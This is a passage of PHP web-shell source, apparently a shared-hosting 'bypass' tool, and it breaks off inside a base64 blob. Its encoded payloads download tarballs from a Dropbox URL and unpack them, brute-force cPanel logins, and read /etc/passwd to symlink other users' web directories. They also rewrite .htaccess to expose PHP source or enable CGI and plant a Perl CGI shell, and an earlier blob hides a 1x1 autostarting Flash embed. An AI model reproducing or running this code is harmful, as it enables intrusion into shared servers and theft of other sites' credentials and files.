YWx1ZT0iaHR0cDovL3d3dy5uaGFjY3VhdHVpLmNvbS9tL1dPY0lJaVRwSGJKOSIgLz4gIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4gIDxwYXJhbSBuYW1lPSJ3bW9kZSIgdmFsdWU9InRyYW5zcGFyZW50IiAvPiAgPHBhcmFtIG5hbWU9ImFsbG93c2NyaXB0YWNjZXNzIiB2YWx1ZT0iYWx3YXlzIiAvPiA8cGFyYW0gbmFtZT0iYWxsb3dmdWxsc2NyZWVuIiB2YWx1ZT0idHJ1ZSIvPiA8cGFyYW0gbmFtZT0iZmxhc2h2YXJzIiB2YWx1ZT0iYXV0b3N0YXJ0PXRydWUiIC8+ICA8ZW1iZWQgc3JjPSJodHRwOi8vd3d3Lm5oYWNjdWF0dWkuY29tL20vV09jSUlpVHBIYko5IiBmbGFzaHZhcnM9InRhcmdldD1ibGFuayZhdXRvc3RhcnQ9dHJ1ZSIgYWxsb3dzY3JpcHRhY2Nlc3M9ImFsd2F5cyIgYWxsb3dmdWxsc2NyZWVuPSJ0cnVlIiBxdWFsaXR5PSJoaWdoIiB3bW9kZT0idHJhbnNwYXJlbnQiIHR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2VtYmVkPjwvb2JqZWN0Pgo=
  1506. ';
  1507. $file = fopen("J.php", "w+");
  1508. $write = fwrite($file, base64_decode($perltoolss));
  1509. fclose($file);
  1510. echo "<iframe src=J.php width=100% height=720px frameborder=0></iframe> ";
  1511. }
  1512. elseif ($action == 'bypass') {
  1513.     $file       = fopen($dir . "bypass.php", "w+");
  1514.     $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnlQYXNzIDo6IEt5bUxqbmsgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocAplY2hvICI8Q0VOVEVSPgogIDx0YWJsZSBib3JkZXI9JzEnIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCcgc3R5bGU9J2JvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IGJvcmRlci1zdHlsZTogc29saWQ7IGJvcmRlci1jb2xvcjogI0MwQzBDMDsgcGFkZGluZy1sZWZ0OiA0OyBwYWRkaW5nLXJpZ2h0OiA0OyBwYWRkaW5nLXRvcDogMTsgcGFkZGluZy1ib3R0b206IDEnIGJvcmRlcmNvbG9yPScjMTExMTExJyB3aWR0aD0nMTAwJScgYmdjb2xvcj0nI0UwRTBFMCc+CiAgICA8dHI+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnPjxkaXYgYWxpZ249J2NlbnRlcicgY2xhc3M9J3N0eWxlNCc+IEJ5UGFzczwvZGl2PjwvdGQ+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnIHN0eWxlPSdwYWRkaW5nOjBweCAwcHggMHB4IDVweCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4KICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMzUwJyBzdHlsZT0ncGFkZGluZzoyMHB4IDIwcHggMjBweCAyMHB4ICc+IjsKCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEwJ10pKQp7CkBta2RpcigiQnlQYXNzU3ltIik7CkBjaGRpcigiQnlQYXNzU3ltIik7CkBleGVjKCdjdXJsIGh0dHBzOi8vZGwuZHJvcGJveHVzZXJjb250ZW50LmNvbS91Lzc0NDI1MzkxL3N5bS50YXIuZ3ogLW8gc3ltLnRhci5neicpOwpAZXhlYygndGFyIC14dmYgc3ltLnRhci5neicpOwoKZWNobyAiPGlmcmFtZSBzcmM9QnlQYXNzU3ltL3N5bSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CgokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0KQWRkVHlwZSB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAucGhwJzsKJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpOwppZiAoJGZ3MykgewoKfQplbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSAuaHRhY2Nlc3MgRmlsZSAhPC9mb250PjxCUj4iOwp9CkBmY2xvc2UoJGZwMyk7CiRsaW5lczM9QGZpbGUoJy9ldGMvcGFzc3dkJyk7CmlmICghJGxpbmVzMykgewokYXV0aHAgPSBAcG9wZW4oIi9iaW4vY2F0IC9ldGMvcGFzc3dkIiwgInIiKTsKJGkgPSAwOwp3aGlsZSAoIWZlb2YoJGF1dGhwKSkKJGFyZXN1bHRbJGkrK10gPSBmZ2V0cygkYXV0aHAsIDQwOTYpOwokbGluZXMzID0gJGFyZXN1bHQ7CkBwY2xvc2UoJGF1dGhwKTsKfQppZiAoISRsaW5lczMpIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBDYW4ndCBSZWFkIC9ldGMvcGFzc3dkIEZpbGUgLjwvZm9udD48QlI+IjsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBDYW4ndCBNYWtlIFRoZSBVc2VycyBTaG9ydGN1dHMgLjwvZm9udD48QlI+IjsKZWNobyAnPGZvbnQgY29sb3I9cmVkPlsrXSBGaW5pc2ggITwvZm9udD48QlI+JzsKfQplbHNlIHsKZm9yZWFjaCgkbGluZXMzIGFzICRsaW5lX251bTM9PiRsaW5lMyl7CiRzcHJ0Mz1leHBsb2RlKCI6IiwkbGluZTMpOwokdXNlcjM9JHNwcnQzWzBdOwpAZXhlYygnLi9sbiAtcyAvaG9tZS8nLiR1c2VyMy4nL3B1YmxpY19odG1sICcgLiAkdXNlcjMpOwp9Cn0KfQppZiAoaXNzZXQoJF9QT1NUWydTdWJtaXQ5J10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICJDcmVhdCAuaHRhY2Nlc3MgJyBWaWV3IGxpc3QgZmlsZSAnID4+IG9rIjsKJGZpbGUzID0gJ09wdGlvbnMgYWxsIAogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnknOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KfQppZiAoaXNzZXQoJF9QT1NUWydTdWJtaXQ4J10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICJDcmVhdCAuaHRhY2Nlc3MgJyBWaWV3IFdlYlNpdGUgJyA+PiBvayI7CiRmaWxlMyA9ICcnOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDYnXSkpCnsKICAgIG1rZGlyKCdicnV0ZWNwYW5lbCcsIDA3NTUpOwogICAgY2hkaXIoJ2JydXRlY3BhbmVsJyk7CgpAZXhlYygnY3VybCBodHRwczovL2RsLmRyb3Bib3h1c2VyY29udGVudC5jb20vdS83NDQyNTM5MS9icnV0ZS50YXIuZ3ogLW8gYnJ1dGUudGFyLmd6Jyk7CkBleGVjKCd0YXIgLXh2ZiBicnV0ZS50YXIuZ3onKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YnJ1dGVjcGFuZWwvYnJ1dGUucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQoKaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0NyddKSkgewpAbWtkaXIoImFsbGNvbmZpZyIpOwpAY2hkaXIoImFsbGNvbmZpZyIpOwplY2hvICJDcmVhdCAuaHRhY2Nlc3MgJyBhbGwgY29uZmlnICcgPj4gb2siOwokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0KQWRkVHlwZSB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAucGhwJzsKJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpOwppZiAoJGZ3MykgewoKfQplbHNlIHsKZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSAuaHRhY2Nlc3MgRmlsZSAhPC9mb250PjxCUj4iOwp9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEyJ10pKSB7CkBta2Rpcigic3ltbGlua3VzZXIiKTsKQGNoZGlyKCJzeW1saW5rdXNlciIpOwplY2hvICI8aWZyYW1lIHNyYz1zeW1saW5rdXNlci8gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwokZmlsZTMgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4nOwokZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CmlmICgkZnczKSB7Cgp9CmVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIE5vIFBlcm0gVG8gQ3JlYXRlIC5odGFjY2VzcyBGaWxlICE8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAzKTsKJGZpbGVTID0gYmFzZTY0X2RlY29kZSgiSXlFdmRYTnlMMkpwYmk5d1pYSnNDbTl3Wlc0Z1NVNVFWVlFzSUNJOEwyVjBZeTl3WVhOemQyUWlPd3AzYUdsc1pTQW9JRHhKVGxCVgpWRDRnS1FwN0NpUnNhVzVsUFNSZk95QkFjM0J5ZEQxemNHeHBkQ2d2T2k4c0pHeHBibVVwT3lBa2RYTmxjajBrYzNCeWRGc3dYVHNLCmMzbHpkR1Z0S0Nkc2JpQXRjeUF2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3dnSnlBdUlDUjFjMlZ5S1RzS2ZRPT0KIik7CiRmcFMgPSBAZm9wZW4oIlBMLVN5bWxpbmsuY2luIiwndysnKTsKJGZ3UyA9IEBmd3JpdGUoJGZwUywkZmlsZVMpOwppZiAoJGZ3UykgewokVEVTVD1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYgKCEkVEVTVCkgewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IFJlYWQgL2V0Yy9wYXNzd2QgRmlsZSAuPC9mb250PjxCUj4iOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IENyZWF0ZSBVc2VycyBTaG9ydGN1dHMgLjwvZm9udD48QlI+IjsKZWNobyAnPGZvbnQgY29sb3I9cmVkPlsrXSBGaW5pc2ggITwvZm9udD48QlI+JzsKfQplbHNlIHsKY2htb2QoIlBMLVN5bWxpbmsuY2luIiwwNzU1KTsKZWNobyBAc2hlbGxfZXhlYygicGVybCBQTC1TeW1saW5rLmNpbiIpOwp9CkBmY2xvc2UoJGZwUyk7Cn0KZWxzZSB7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gTm8gUGVybSBUbyBDcmVhdGUgUGVybCBGaWxlICE8L2ZvbnQ+IjsKfQp9CmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEzJ10pKQp7CkBta2RpcigiY2dpc2hlbGwiKTsKQGNoZGlyKCJjZ2lzaGVsbCIpOwogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKICAgICAgICAkZG9zeWEgPSBmb3BlbiAoJGRvc3lhX2FkaSAsICd3Jykgb3IgZGllICgiRG9zeWEgYcOnxLFsYW1hZMSxISIpOwogICAgICAgICRtZXRpbiA9ICJPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJCgpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4KCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luIjsgICAgCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsKJGNnaXNoZWxsaXpvY2luID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldGcGJnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFEwS0l5QThZaUJ6ZEhsc1pUMGlZMjlzYjNJNllteGhZMnM3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qWm1abVpqWTJJajV3CmNtbDJPQ0JqWjJrZ2MyaGxiR3c4TDJJK0lDTWdjMlZ5ZG1WeURRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHREUW9OQ2lNdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTME5DaU1nUTI5dVptbG5kWEpoZEdsdmJqb2dXVzkxSUc1bFpXUWdkRzhnWTJoaGJtZGwKSUc5dWJIa2dKRkJoYzNOM2IzSmtJR0Z1WkNBa1YybHVUbFF1SUZSb1pTQnZkR2hsY2cwS0l5QjJZV3gxWlhNZ2MyaHZkV3hrSUhkdgpjbXNnWm1sdVpTQm1iM0lnYlc5emRDQnplWE4wWlcxekxnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUTBLSkZCaGMzTjMKYjNKa0lEMGdJbkJ5YVhZNElqc0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocApjdzBLQ1FrSkNTTWdkRzhnYkc5bmFXNHVEUW9OQ2lSWGFXNU9WQ0E5SURBN0NRa0pJeUJaYjNVZ2JtVmxaQ0IwYnlCamFHRnVaMlVnCmRHaGxJSFpoYkhWbElHOW1JSFJvYVhNZ2RHOGdNU0JwWmcwS0NRa0pDU01nZVc5MUozSmxJSEoxYm01cGJtY2dkR2hwY3lCelkzSnAKY0hRZ2IyNGdZU0JYYVc1a2IzZHpJRTVVRFFvSkNRa0pJeUJ0WVdOb2FXNWxMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUJwZENCdgpiaUJWYm1sNExDQjViM1VOQ2drSkNRa2pJR05oYmlCc1pXRjJaU0IwYUdVZ2RtRnNkV1VnWVhNZ2FYUWdhWE11RFFvTkNpUk9WRU50ClpGTmxjQ0E5SUNJbUlqc0pDU01nVkdocGN5QmphR0Z5WVdOMFpYSWdhWE1nZFhObFpDQjBieUJ6WlhCbGNtRjBaU0F5SUdOdmJXMWgKYm1SekRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlhhVzVrYjNkeklFNVVMZzBLRFFva1ZXNXBlRU50WkZObApjQ0E5SUNJN0lqc0pDU01nVkdocGN5QmphR0Z5WVdOMFpYSWdhWE1nZFhObFpDQjBieUJ6WlhCbGNtRjBaU0F5SUdOdmJXMWhibVJ6CkRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlZibWw0TGcwS0RRb2tRMjl0YldGdVpGUnBiV1Z2ZFhSRWRYSmgKZEdsdmJpQTlJREV3T3draklGUnBiV1VnYVc0Z2MyVmpiMjVrY3lCaFpuUmxjaUJqYjIxdFlXNWtjeUIzYVd4c0lHSmxJR3RwYkd4bApaQTBLQ1FrSkNTTWdSRzl1SjNRZ2MyVjBJSFJvYVhNZ2RHOGdZU0IyWlhKNUlHeGhjbWRsSUhaaGJIVmxMaUJVYUdseklHbHpEUW9KCkNRa0pJeUIxYzJWbWRXd2dabTl5SUdOdmJXMWhibVJ6SUhSb1lYUWdiV0Y1SUdoaGJtY2diM0lnZEdoaGRBMEtDUWtKQ1NNZ2RHRnIKWlNCMlpYSjVJR3h2Ym1jZ2RHOGdaWGhsWTNWMFpTd2diR2xyWlNBaVptbHVaQ0F2SWk0TkNna0pDUWtqSUZSb2FYTWdhWE1nZG1GcwphV1FnYjI1c2VTQnZiaUJWYm1sNElITmxjblpsY25NdUlFbDBJR2x6RFFvSkNRa0pJeUJwWjI1dmNtVmtJRzl1SUU1VUlGTmxjblpsCmNuTXVEUW9OQ2lSVGFHOTNSSGx1WVcxcFkwOTFkSEIxZENBOUlERTdDUWtqSUVsbUlIUm9hWE1nYVhNZ01Td2dkR2hsYmlCa1lYUmgKSUdseklITmxiblFnZEc4Z2RHaGxEUW9KQ1FrSkl5QmljbTkzYzJWeUlHRnpJSE52YjI0Z1lYTWdhWFFnYVhNZ2IzVjBjSFYwTENCdgpkR2hsY25kcGMyVU5DZ2tKQ1FraklHbDBJR2x6SUdKMVptWmxjbVZrSUdGdVpDQnpaVzVrSUhkb1pXNGdkR2hsSUdOdmJXMWhibVFOCkNna0pDUWtqSUdOdmJYQnNaWFJsY3k0Z1ZHaHBjeUJwY3lCMWMyVm1kV3dnWm05eUlHTnZiVzFoYm1SeklHeHBhMlVOQ2drSkNRa2oKSUhCcGJtY3NJSE52SUhSb1lYUWdlVzkxSUdOaGJpQnpaV1VnZEdobElHOTFkSEIxZENCaGN5QnBkQTBLQ1FrSkNTTWdhWE1nWW1WcApibWNnWjJWdVpYSmhkR1ZrTGcwS0RRb2pJRVJQVGlkVUlFTklRVTVIUlNCQlRsbFVTRWxPUnlCQ1JVeFBWeUJVU0VsVElFeEpUa1VnClZVNU1SVk5USUZsUFZTQkxUazlYSUZkSVFWUWdXVTlWSjFKRklFUlBTVTVISUNFaERRb05DaVJEYldSVFpYQWdQU0FvSkZkcGJrNVUKSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3cwS0pFTnRaRkIzWkNBOUlDZ2tWMmx1VGxRZ1B5QWlZMlFpSURvZwpJbkIzWkNJcE93MEtKRkJoZEdoVFpYQWdQU0FvSkZkcGJrNVVJRDhnSWx4Y0lpQTZJQ0l2SWlrN0RRb2tVbVZrYVhKbFkzUnZjaUE5CklDZ2tWMmx1VGxRZ1B5QWlJREkrSmpFZ01UNG1NaUlnT2lBaUlERStKakVnTWo0bU1TSXBPdzBLRFFvakxTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHREUW9qSUZKbFlXUnpJSFJvWlNCcGJuQjFkQ0J6Wlc1MElHSjVJSFJvWlNCaWNtOTNjMlZ5SUdGdVpDQndZWEp6ClpYTWdkR2hsSUdsdWNIVjBJSFpoY21saFlteGxjeTRnU1hRTkNpTWdjR0Z5YzJWeklFZEZWQ3dnVUU5VFZDQmhibVFnYlhWc2RHbHcKWVhKMEwyWnZjbTB0WkdGMFlTQjBhR0YwSUdseklIVnpaV1FnWm05eUlIVndiRzloWkdsdVp5Qm1hV3hsY3k0TkNpTWdWR2hsSUdacApiR1Z1WVcxbElHbHpJSE4wYjNKbFpDQnBiaUFrYVc1N0oyWW5mU0JoYm1RZ2RHaGxJR1JoZEdFZ2FYTWdjM1J2Y21Wa0lHbHVJQ1JwCmJuc25abWxzWldSaGRHRW5mUzROQ2lNZ1QzUm9aWElnZG1GeWFXRmliR1Z6SUdOaGJpQmlaU0JoWTJObGMzTmxaQ0IxYzJsdVp5QWsKYVc1N0ozWmhjaWQ5TENCM2FHVnlaU0IyWVhJZ2FYTWdkR2hsSUc1aGJXVWdiMllOQ2lNZ2RHaGxJSFpoY21saFlteGxMaUJPYjNSbApPaUJOYjNOMElHOW1JSFJvWlNCamIyUmxJR2x1SUhSb2FYTWdablZ1WTNScGIyNGdhWE1nZEdGclpXNGdabkp2YlNCdmRHaGxjaUJEClIwa05DaU1nYzJOeWFYQjBjeTROQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNuTjFZaUJTWldGa1VHRnljMlVnRFFwNwpEUW9KYkc5allXd2dLQ3BwYmlrZ1BTQkFYeUJwWmlCQVh6c05DZ2xzYjJOaGJDQW9KR2tzSUNSc2IyTXNJQ1JyWlhrc0lDUjJZV3dwCk93MEtDUTBLQ1NSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBOUlDUkZUbFo3SjBOUFRsUkZUbFJmVkZsUVJTZDlJRDErSUM5dGRXeDAKYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZPdzBLRFFvSmFXWW9KRVZPVm5zblVrVlJWVVZUVkY5TgpSVlJJVDBRbmZTQmxjU0FpUjBWVUlpa05DZ2w3RFFvSkNTUnBiaUE5SUNSRlRsWjdKMUZWUlZKWlgxTlVVa2xPUnlkOU93MEtDWDBOCkNnbGxiSE5wWmlna1JVNVdleWRTUlZGVlJWTlVYMDFGVkVoUFJDZDlJR1Z4SUNKUVQxTlVJaWtOQ2dsN0RRb0pDV0pwYm0xdlpHVW8KVTFSRVNVNHBJR2xtSUNSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBbUlDUlhhVzVPVkRzTkNna0pjbVZoWkNoVFZFUkpUaXdnSkdsdQpMQ0FrUlU1V2V5ZERUMDVVUlU1VVgweEZUa2RVU0NkOUtUc05DZ2w5RFFvTkNna2pJR2hoYm1Sc1pTQm1hV3hsSUhWd2JHOWhaQ0JrCllYUmhEUW9KYVdZb0pFVk9WbnNuUTA5T1ZFVk9WRjlVV1ZCRkozMGdQWDRnTDIxMWJIUnBjR0Z5ZEZ3dlptOXliUzFrWVhSaE95QmkKYjNWdVpHRnllVDBvTGlzcEpDOHBEUW9KZXcwS0NRa2tRbTkxYm1SaGNua2dQU0FuTFMwbkxpUXhPeUFqSUhCc1pXRnpaU0J5WldabApjaUIwYnlCU1JrTXhPRFkzSUEwS0NRbEFiR2x6ZENBOUlITndiR2wwS0M4a1FtOTFibVJoY25rdkxDQWthVzRwT3lBTkNna0pKRWhsCllXUmxja0p2WkhrZ1BTQWtiR2x6ZEZzeFhUc05DZ2tKSkVobFlXUmxja0p2WkhrZ1BYNGdMMXh5WEc1Y2NseHVmRnh1WEc0dk93MEsKQ1Fra1NHVmhaR1Z5SUQwZ0pHQTdEUW9KQ1NSQ2IyUjVJRDBnSkNjN0RRb2dDUWtrUW05a2VTQTlmaUJ6TDF4eVhHNGtMeTg3SUNNZwpkR2hsSUd4aGMzUWdYSEpjYmlCM1lYTWdjSFYwSUdsdUlHSjVJRTVsZEhOallYQmxEUW9KQ1NScGJuc25abWxzWldSaGRHRW5mU0E5CklDUkNiMlI1T3cwS0NRa2tTR1ZoWkdWeUlEMStJQzltYVd4bGJtRnRaVDFjSWlndUt5bGNJaTg3SUEwS0NRa2thVzU3SjJZbmZTQTkKSUNReE95QU5DZ2tKSkdsdWV5ZG1KMzBnUFg0Z2N5OWNJaTh2WnpzTkNna0pKR2x1ZXlkbUozMGdQWDRnY3k5Y2N5OHZaenNOQ2cwSwpDUWtqSUhCaGNuTmxJSFJ5WVdsc1pYSU5DZ2tKWm05eUtDUnBQVEk3SUNSc2FYTjBXeVJwWFRzZ0pHa3JLeWtOQ2drSmV5QU5DZ2tKCkNTUnNhWE4wV3lScFhTQTlmaUJ6TDE0dUsyNWhiV1U5SkM4dk93MEtDUWtKSkd4cGMzUmJKR2xkSUQxK0lDOWNJaWhjZHlzcFhDSXYKT3cwS0NRa0pKR3RsZVNBOUlDUXhPdzBLQ1FrSkpIWmhiQ0E5SUNRbk93MEtDUWtKSkhaaGJDQTlmaUJ6THloZUtGeHlYRzVjY2x4dQpmRnh1WEc0cEtYd29YSEpjYmlSOFhHNGtLUzh2WnpzTkNna0pDU1IyWVd3Z1BYNGdjeThsS0M0dUtTOXdZV05yS0NKaklpd2dhR1Y0CktDUXhLU2t2WjJVN0RRb0pDUWtrYVc1N0pHdGxlWDBnUFNBa2RtRnNPeUFOQ2drSmZRMEtDWDBOQ2dsbGJITmxJQ01nYzNSaGJtUmgKY21RZ2NHOXpkQ0JrWVhSaElDaDFjbXdnWlc1amIyUmxaQ3dnYm05MElHMTFiSFJwY0dGeWRDa05DZ2w3RFFvSkNVQnBiaUE5SUhOdwpiR2wwS0M4bUx5d2dKR2x1S1RzTkNna0pabTl5WldGamFDQWthU0FvTUNBdUxpQWtJMmx1S